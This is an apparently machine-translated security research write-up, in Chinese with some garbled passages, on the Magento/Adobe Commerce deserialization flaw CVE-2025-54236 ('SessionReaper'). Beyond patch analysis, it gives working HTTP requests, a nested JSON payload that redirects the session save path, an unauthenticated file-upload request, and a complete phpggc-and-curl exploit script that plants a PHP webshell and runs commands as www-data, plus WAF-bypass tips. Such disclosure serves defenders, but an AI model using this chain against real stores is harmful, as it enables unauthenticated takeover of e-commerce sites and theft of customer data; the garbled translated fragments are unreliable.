你中招了嘛?为什么嵌套反序列化仍然有害 — Magento 远程代码执行(CVE-2025-54236)
Magento 仍然是互联网上最流行的电子商务解决方案之一,据估计有超过 13 万个网站在使用它。Adobe 也以 Adobe Commerce 的名义提供企业版 Magento,该版本可自动更新补丁。
另一个关键漏洞Magento/Adobe Commerce 已发布漏洞公告:CVE-2025-54236,又称 SessionReaper。Adobe 将此问题描述为“安全功能绕过”,在发布公告时尚无公开的概念验证。该漏洞由 [此处应填写漏洞发现者姓名] 发现。Blaklis并通过以下方式宣布Sansec。
尽管 Adobe 对此问题的重视程度有所降低,但我们认为这是一个非常严重的漏洞。在使用基于文件的会话存储的实例中,未经身份验证的用户很容易就能远程执行代码。不使用基于文件的会话存储的实例(例如使用 Redis 的实例)也可能存在此漏洞。本文将探讨利用此漏洞所需的步骤和前提条件。
Patch analysis
为了了解问题的真正所在,我们仔细研究了……Adobe 的补丁该补丁主要改变 API 端点接收的输入的类型反序列化工作方式。
diff --git a/vendor/magento/framework/Webapi/ServiceInputProcessor.php b/vendor/magento/framework/Webapi/ServiceInputProcessor.php
index ba58dc2bc7acf..06919af36d2eb 100644
--- a/vendor/magento/framework/Webapi/ServiceInputProcessor.php
+++ b/vendor/magento/framework/Webapi/ServiceInputProcessor.php
@@ -246,6 +246,13 @@ private function getConstructorData(string $className, array $data): array
if (isset($data[$parameter->getName()])) {
$parameterType = $this->typeProcessor->getParamType($parameter);
// Allow only simple types or Api Data Objects
if (!($this->typeProcessor->isTypeSimple($parameterType)
|| preg_match('~\\?\w+\\\w+\\Api\\Data\\~', $parameterType) === 1
)) {
continue;
}
+
try {
$res[$parameter->getName()] = $this->convertValue($data[$parameter->getName()], $parameterType);
} catch (\ReflectionException $e) {
在这个补丁中,他们将构造函数中可以实例化的类型限制为“简单”类型(字符串、整数、浮点数、双精度浮点数和布尔值)以及名称符合特定模式的类型,例如
int MagentoTaxApiDataTaxRateInterface。考虑到这一点,我们知道我们要寻找的是复杂类型,例如 ` MagentoFrameworkSimplexmlElementint`和 `boolean`。之前Magento的关键漏洞。自 来自 SanSec 的建议 声明指出,利用该漏洞需要基于文件的会话存储,因此我们无法使用相同的存储方式。 Magento Docker 仓库 和上次一样。这次,我们从 GitHub 安装了纯净版的 Magento 2.4,并将其部署在 Ubuntu 虚拟机上。公开指南有了可用的环境,我们就可以开始寻找漏洞了。
简单回顾一下,Magento 的反序列化机制是一套复杂的自定义代码。该类
MagentoFrameworkWebapiServiceInputProcessor包含了大部分逻辑,它接收一个嵌套的 PHP 数组对象,并将其转换为目标类。为此,反序列化器会递归地检查对象的可设置字段,并将输入数组映射到相应的类型。设置对象字段有两种方法:
-
使用类型化参数作为构造函数参数,或者
-
使用对象的公共 setter 函数(例如
public function setBlah(Blah $blah))
protected function _createFromArray($className, $data)
{
...
// 1. Set using the constructor
$constructorArgs = $this->getConstructorData($className, $data);
$object = $this->objectManager->create($className, $constructorArgs);
// 2. Set using public setters
foreach ($data as $propertyName => $value) {
if (isset($constructorArgs[$propertyName])) {
continue;
}
$camelCaseProperty = SimpleDataObjectConverter::snakeCaseToUpperCamelCase($propertyName);
try {
$methodName = $this->getNameFinder()->getGetterMethodName($class, $camelCaseProperty);
...
if ($methodReflection->isPublic()) {
$returnType = $this->typeProcessor->getGetterReturnType($methodReflection)['type'];
try {
$setterName = $this->getNameFinder()->getSetterMethodName($class, $camelCaseProperty); // 2.
} catch (\Exception $e) {
...
}
...
$this->serviceInputValidator->validateEntityValue($object, $propertyName, $setterValue);
$object->{$setterName}($setterValue);
}
} catch (\LogicException $e) {
$this->processInputErrorForNestedSet([$camelCaseProperty]);
}
}
...
}
不过,我们首先需要确定一些类型。以下是一些示例。Sergey’s notes 在梳理未经身份验证的 API 方法时,我们得出以下几种类型:
-
MagentoQuoteModelQuotePayment -
MagentoQuoteModelQuoteAddress -
MagentoQuoteModelQuoteItem -
MagentoQuoteModelCartTotalsAdditionalData -
MagentoFrameworkApiSearchCriteria -
MagentoCheckoutModelShippingInformation -
MagentoCheckoutModelTotalsInformation -
MagentoGiftMessageModelMessage -
MagentoCustomerModelDataCustomer
然而,我们仍然需要一个目标类型来尝试进行链式攻击。鉴于此漏洞名为“SessionReaper”,我们推测它最终会出现在会话处理代码附近。查看代码后,我们
MagentoFrameworkSessionSessionManager发现了一些非常有趣的功能:class SessionManager implements SessionManagerInterface, ResetAfterRequestInterface{
public function __construct(
\Magento\Framework\App\Request\Http $request,
SidResolverInterface $sidResolver,
ConfigInterface $sessionConfig,
SaveHandlerInterface $saveHandler,
ValidatorInterface $validator,
StorageInterface $storage,
\Magento\Framework\Stdlib\CookieManagerInterface $cookieManager,
\Magento\Framework\Stdlib\Cookie\CookieMetadataFactory $cookieMetadataFactory,
\Magento\Framework\App\State $appState,
?SessionStartChecker $sessionStartChecker = null) {
$this->request = $request;
$this->sidResolver = $sidResolver;
$this->sessionConfig = $sessionConfig;
$this->saveHandler = $saveHandler;
$this->validator = $validator;
$this->storage = $storage;
$this->cookieManager = $cookieManager;
$this->cookieMetadataFactory = $cookieMetadataFactory;
$this->appState = $appState;
$this->sessionStartChecker = $sessionStartChecker ?: \Magento\Framework\App\ObjectManager::getInstance()->get(
SessionStartChecker::class
);
$this->start();
}
public function start()
{
if ($this->sessionStartChecker->check()) {
if (!$this->isSessionExists()) {
...
$this->initIniOptions();
$this->registerSaveHandler();
...
session_start();
...
$this->validator->validate($this);
...
} else {
$this->validator->validate($this);
}
$this->storage->init(isset($_SESSION) ? $_SESSION : []);
}
return $this;
}
private function initIniOptions()
{
...
foreach ($this->sessionConfig->getOptions() as $option => $value) {
if ($option === 'session.save_handler' && $value !== 'memcached') {
continue;
} else {
$result = ini_set($option, $value);
...
}
}
}
}
通过设置
$sessionConfig,我们可以控制传递给的选项ini_set(),其中包括一些非常有趣且敏感的选项MagentoFrameworkSessionConfig并非所有这些选项都可用,还需要检查底层类型。class Config implements ConfigInterface{
public function __construct(
\Magento\Framework\ValidatorFactory $validatorFactory,
\Magento\Framework\App\Config\ScopeConfigInterface $scopeConfig,
\Magento\Framework\Stdlib\StringUtils $stringHelper,
\Magento\Framework\App\RequestInterface $request,
Filesystem $filesystem,
DeploymentConfig $deploymentConfig,
$scopeType,
$lifetimePath = self::XML_PATH_COOKIE_LIFETIME) {
...
$savePath = $deploymentConfig->get(self::PARAM_SESSION_SAVE_PATH);
if (!$savePath && !ini_get('session.save_path')) {
$sessionDir = $filesystem->getDirectoryWrite(DirectoryList::SESSION);
$savePath = $sessionDir->getAbsolutePath();
$sessionDir->create();
}
if ($savePath) {
$this->setSavePath($savePath);
}
...
}
public function setSavePath($savePath)
{
$this->setOption('session.save_path', $savePath);
return $this;
}
}
这样我们就可以控制会话的读取路径了!通过
$deploymentConfig参数的路径最终会变成一个误导,有点像掉进兔子洞(但也差点儿就用到了远程文件包含——检查一下MagentoFrameworkAppDeploymentConfigReader),但我们可以直接访问setSavePath,因为它是一个公共的设置函数。我们编写了一个非常粗略的脚本来绘制从源类型到目标类型的链条。由此得到了以下类型链条:
-
MagentoQuoteModelQuotePayment -
MagentoPaymentHelperData -
MagentoFrameworkAppHelperContext -
MagentoFrameworkUrl -
MagentoFrameworkSessionGeneric -
MagentoFrameworkSessionSaveHandler -
MagentoFrameworkSessionConfig
将所有部件组装在一起后,我们发出请求并……
PUT /rest/default/V1/guest-carts/abc/order HTTP/1.1Host: example.com
Accept: application/json
Cookie: PHPSESSID=testing
Connection: close
Content-Type: application/json
Content-Length: 265
{"paymentMethod": {"paymentData": {"context": {"urlBuilder": {"session": {"sessionConfig": {"savePath": "does/not/exist"}}}}}}}
HTTP/1.1 500 Internal Server Error
Date: Mon, 13 Oct 2025 21:05:17 GMT
Server: Apache/2.4.58 (Ubuntu)
Cache-Control: no-store
Content-Length: 104
Connection: close
Content-Type: application/json; charset=utf-8
{"message":"Internal Error. Details are available in Magento log file. Report ID: webapi-68ed6990bd170"}
… 成功?
查看应用程序错误日志可以获得更多信息:
Warning: SessionHandler::read(): open(does/not/exist/sess_testing, O_RDWR) failed: No such file or directory (2)
成功!
值得注意的是,早在2024年,Sergey noted也发现了同样的错误。
Another thing to note is that a save path that doesn’t exist will always cause an internal server error. On patched instances, the application will instead return a
400 Bad Request. This makes it a good payload for determining if a server is vulnerable.Many other payloads exist, too, for example:
{
"paymentMethod": {
"paymentData": {
"context": {
"urlDecoder": {
"urlBuilder": {
"request": {
"pathInfoProcessor": {
"helper": {
"backendUrl": {
"session": {
"sessionConfig": {
"savePath": "PATH"
}
}
}
}
}
}
}
}
}
}
}
}
会话配置类也可以通过其他类型访问,例如
<session_config_class>MagentoQuoteModelQuoteAddress和 ` <session_config_class> MagentoQuoteModelQuoteItem`。这意味着也可以使用其他 API 端点。将这些与类似 `<session_config_class>` 的工具结合使用,可以更方便地进行配置。nowafpls这意味着绕过可能阻止未修改有效载荷的 WAF 非常容易。对于基于 Redis 的会话存储,此有效负载将无法工作。
MagentoFrameworkSessionSaveHandlerRedis它不会访问本地文件系统,因此需要使用 Redis 特有的数据写入方法。然而,在这种情况下,反序列化链就变得不必要了,因为您可以写入一个具有特定名称的 Redis 键来实现反序列化(这在当前版本的 Magento 中似乎是不可能的)。尽管如此,Magento 中仍有数百个可访问的类,因此可能存在其他方法,例如允许您读取、写入和执行文件。最后需要注意的是,保存路径可以是相对路径(
../)也可以是绝对路径(/var/www/html/)。它相对于pub/网站根目录运行。它不支持 URI(file://例如,、http://等),因此对于完整的有效负载,我们需要某种方式将文件写入磁盘。未经认证的文件上传
Magento 处理用户输入的方式不仅限于 API 端点。代码库中还包含其他路由,这些路由在
routes.xml文件中指定。例如,该文件magento2/app/code/Magento/Customer/etc/frontend/routes.xml包含以下内容:<?xml version="1.0"?>
<!--
/**
* Copyright © Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/
-->
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:App/etc/routes.xsd">
<router id="standard">
<route id="customer" frontName="customer">
<module name="Magento_Customer" />
</route>
</router>
</config>
此文件中需要注意的重要内容是以下几行:
-
router id="..."它指定了使用的请求路由器类型。有两种类型:“admin”和“standard”。我们感兴趣的是“standard”。 -
route id="...",它指定路由所在的端点。例如,所有 Customer 控制器都位于/customer。 -
module name="...",它提供了控制器所在的路径。该值Magento_Customer映射到magento2/app/code/Magento/Customer/,也就是我们最终找到Controller/子文件夹的位置。
在控制器文件夹中翻找时,我们发现了这个有趣的文件:
Customer/Controller/Address/File/Upload.php<?php
...
class Upload extends Action implements HttpPostActionInterface{
...
public function execute()
{
try {
$requestedFiles = $this->getRequest()->getFiles('custom_attributes');
if (empty($requestedFiles)) {
$result = $this->processError(__('No files for upload.'));
} else {
$attributeCode = key($requestedFiles);
$attributeMetadata = $this->addressMetadataService->getAttributeMetadata($attributeCode);
$fileUploader = $this->fileUploaderFactory->create([
'attributeMetadata' => $attributeMetadata,
'entityTypeCode' => AddressMetadataInterface::ENTITY_TYPE_ADDRESS,
'scope' => CustomAttributesDataInterface::CUSTOM_ATTRIBUTES,
]);
$errors = $fileUploader->validate();
if (true !== $errors) {
$errorMessage = implode('</br>', $errors);
$result = $this->processError(($errorMessage));
} else {
$result = $fileUploader->upload();
$this->moveTmpFileToSuitableFolder($result);
}
}
} catch (...) {
...
}
$resultJson = $this->resultFactory->create(ResultFactory::TYPE_JSON);
$resultJson->setData($result);
return $resultJson;
}
/**
* Move file from temporary folder to the 'customer_address' media folder
*
* @param array $fileInfo
* @throws LocalizedException
*/
private function moveTmpFileToSuitableFolder(&$fileInfo)
{
$fileName = $fileInfo['file'];
$fileProcessor = $this->fileProcessorFactory
->create(['entityTypeCode' => AddressMetadataInterface::ENTITY_TYPE_ADDRESS]);
$newFilePath = $fileProcessor->moveTemporaryFile($fileName);
$fileInfo['file'] = $newFilePath;
$fileInfo['url'] = $fileProcessor->getViewUrl(
$newFilePath,
'file'
);
}
...
}
这是一个未经身份验证的端点,似乎用于处理用户从字段上传的文件
custom_attributes,并且不需要任何身份验证。深入研究该类中调用的一些方法,我们发现了一些有趣的限制和验证逻辑。上传的文件不能带有受保护的扩展名(例如 .php、.html、.xml——
app/code/Magento/Store/etc/config.xml完整列表请参见[此处]),但所有其他文件,包括没有扩展名的文件,均被允许上传。需要注意的是,在[此处] $fileProcessor->moveTemporaryFile(),文件名不会被修改,除非文件已存在,此时会在上传的文件名后附加_1“ _2/// _3etc”。尽管直觉告诉我们端点应该可以通过
<address> 访问/customer/address/file/upload,但实际上它可以通过 `<address>` 访问/customer/address_file/upload。代入一个必要的form_key参数(可以是任何值,只要它在 cookie 和表单参数中相同即可),我们期望得到一个已上传的文件。POST /customer/address_file/upload HTTP/1.1 Host: 192.168.198.130 Content-Length: 310 Accept: */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDNFoGI9h3cNjiBCQ Cookie: form_key=f49TpaNHU56uEgZc Connection: close ------WebKitFormBoundaryDNFoGI9h3cNjiBCQ Content-Disposition: form-data; name="form_key" f49TpaNHU56uEgZc ------WebKitFormBoundaryDNFoGI9h3cNjiBCQ Content-Disposition: form-data; name="custom_attributes"; filename="test_file" Content-Type: text/plain Hello ------WebKitFormBoundaryDNFoGI9h3cNjiBCQ--
但这却导致了以下错误:
{
"error": "No such entity with entityType = customer_address, attributeCode = name",
"errorcode": 0
}
当我们按下 `
$attributeCode = key($requestedFiles)and`时会出现此错误getAttributeMetadata($attributeCode)。PHPkey()中的 `get` 函数会获取给定数组中的下一个键,它主要与next()`for` 循环一起使用,用于遍历数组元素。但是,单独使用时,它只会获取数组的第一个键。插入一个 a
var_dump($requestedFiles)可以解释为什么我们最终name得到attributeCode:array(6) {
["name"]=>
string(9) "test_file"
["full_path"]=>
string(9) "test_file"
["type"]=>
string(10) "text/plain"
["tmp_name"]=>
string(14) "/tmp/phpMsGHbm"
["error"]=>
int(0)
["size"]=>
int(5)
}
这让我们困惑了好一会儿。我们该如何通过这个
attributeCode检查呢?我们需要name在对象上设置一个名为 `target` 的自定义属性吗?毕竟,这段代码确实暗示了自定义属性的存在。或者我们需要用其他方式指定目标属性?也许我们遗漏了其他更简单的接口?经过一番尝试和摸索,以及对……的观察底层请求解析器代码我们发现这个问题很容易解决。只需将表单输入名称从 `<input name>` 改为 `<
custom_attributesinput custom_attributes[SOME_ATTRIBUTE]array name>`,输入数组的结构就会发生变化,这样我们就可以指定任何我们想要的属性了。array(1) {
["SOME_ATTRIBUTE"]=>
array(6) {
["name"]=>
string(9) "test_file"
["full_path"]=>
string(9) "test_file"
["type"]=>
string(10) "text/plain"
["tmp_name"]=>
string(14) "/tmp/phpk8FWf6"
["error"]=>
int(0)
["size"]=>
int(5)
}
}
但是,我们仍然需要一个有效的属性代码。在数据库中查找后,我们找到了一系列内置属性供尝试:
mysql> SELECT attribute_code, frontend_input FROM eav_attribute
-> WHERE entity_type_id = (
-> SELECT entity_type_id FROM eav_entity_type
-> WHERE entity_type_code = 'customer_address'
-> );
+---------------------+----------------+
| attribute_code | frontend_input |
+---------------------+----------------+
| city | text |
| company | text |
| country_id | select |
| fax | text |
| firstname | text |
| lastname | text |
| middlename | text |
| postcode | text |
| prefix | text |
| region | text |
| region_id | hidden |
| street | multiline |
| suffix | text |
| telephone | text |
| vat_id | text |
| vat_is_valid | text |
| vat_request_date | text |
| vat_request_id | text |
| vat_request_success | text |
+---------------------+----------------+
继续往下看,我们很快找到了一个有效的属性:
country_id。把它代入表单后,就得到了我们想要的结果。POST /customer/address_file/upload HTTP/1.1Host: example.com
Content-Length: 647
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Cookie: form_key=f49TpaNHU56uEgZc
Connection: close
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Content-Disposition: form-data; name="form_key"
f49TpaNHU56uEgZc
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Content-Disposition: form-data; name="custom_attributes[country_id]"; filename="test_file"
Content-Type: text/plain
Hello world
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ--
{"name": "test_file","full_path": "test_file","type": "text/plain","tmp_name": "test_file","error": 0,"size": 11,"file": "/t/e/test_file","url": "http://192.168.198.130/customer/address/viewfile/file/dC9lL3Rlc3RfZmlsZQ~~/"}
我们已成功上传文件,文件内容已写入该文件
pub/media/customer_address/t/e/test_file。把所有东西整合起来
最后一步还需要完成:我们需要一个有效载荷供会话管理器反序列化。一种方法是创建一个伪造的会话,然后用它来访问客户/管理员帐户。更有趣的方法是尝试获取代码执行权限。
phpggc幸好它内置了有效载荷,我们无需自行寻找。查看 Magento 的 composer.json 文件中的依赖项,我们发现它使用了 Guzzle,而 Guzzle 具有任意文件写入有效载荷。虽然它需要知道网站根目录在磁盘上的位置,但这足以满足我们的需求。
为了实现这个功能,我们需要一些额外的选项。
-se“/”--session-encode是必需的,这样才能确保会话序列化格式正确。phpggc 喜欢在有效负载数据中插入额外的换行符,并在属性名称中插入空字节,因此我们也需要-a“/”--ascii-strings来进行编码。将 phpggc 添加到攻击链中,我们便可得到以下漏洞利用脚本:
HOST="http://example.com"
PAYLOAD_IN="/tmp/payload.php"
PAYLOAD_OUT="/var/www/html/magento2/pub/exploit.php"
FORMKEY=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 16 | head -n 1)
SESSID=$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 26 | head -n 1)
./phpggc -se -pub -a Guzzle/FW1 "$PAYLOAD_OUT" "$PAYLOAD_IN"
curl -ks --cookie "form_key=$FORMKEY" -F "form_key=$FORMKEY" -F "custom_attributes[country_id]=@/tmp/sess_$SESSID" "$HOST/customer/address_file/upload"
curl -ks -X PUT --cookie "PHPSESSID=$SESSID" --header 'Accept: application/json' "$HOST/rest/default/V1/guest-carts/abc/order" --json '{"paymentMethod":{"paymentData":{"context":{"urlBuilder":{"session":{"sessionConfig":{"savePath":"media/customer_address/s/e"}}}}}}}'
请注意,服务器可能会对最后一个响应中的购物车 ID 提出异议并返回 404 错误。这是正常现象,表示有效载荷已成功反序列化。我们可以通过向上传的有效载荷发送请求来检查攻击是否成功:
$ curl -ks "$HOST/pub/exploit.php" --data 'cmd=echo;echo;id;whoami;pwd;echo'
[{"Expires":1,"Discard":false,"Value":"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
/var/www/html/magento2/pub
n"}]
结语
鉴于这是 Magento 第二次出现反序列化问题,仍然存在一个很大的问题:这个补丁足够吗?
就目前来看,确实如此。通过在类型链搜索脚本中添加新的限制条件,我们发现最多只能搜索到三层类型,之后就会耗尽允许的类型和 setter 函数的数量。
MagentoQuoteModelQuotePayment
MagentoQuoteApiDataPaymentExtensionInterface
MagentoQuoteModelQuoteAddress
MagentoQuoteModelQuoteItem
MagentoQuoteApiDataCartItemExtensionInterface
MagentoQuoteModelQuoteProductOption
MagentoQuoteApiDataProductOptionExtensionInterface
MagentoQuoteModelCartTotalsAdditionalData
MagentoQuoteApiDataTotalsAdditionalDataExtensionInterface
MagentoFrameworkApiSearchCriteria
MagentoFrameworkApiSearchFilterGroup
MagentoFrameworkApiSortOrder
MagentoCheckoutModelShippingInformation
MagentoCheckoutApiDataShippingInformationExtensionInterface
MagentoQuoteModelQuoteAddress
MagentoCheckoutModelTotalsInformation
MagentoCheckoutApiDataTotalsInformationExtensionInterface
MagentoQuoteModelQuoteAddress
MagentoGiftMessageModelMessage
MagentoCustomerModelDataCustomer
Adobe 和第三方插件开发者都需要注意,不要为他们不希望用户创建的类型引入任何设置函数。此外,他们在对这些数据进行后续处理时也需要格外谨慎。
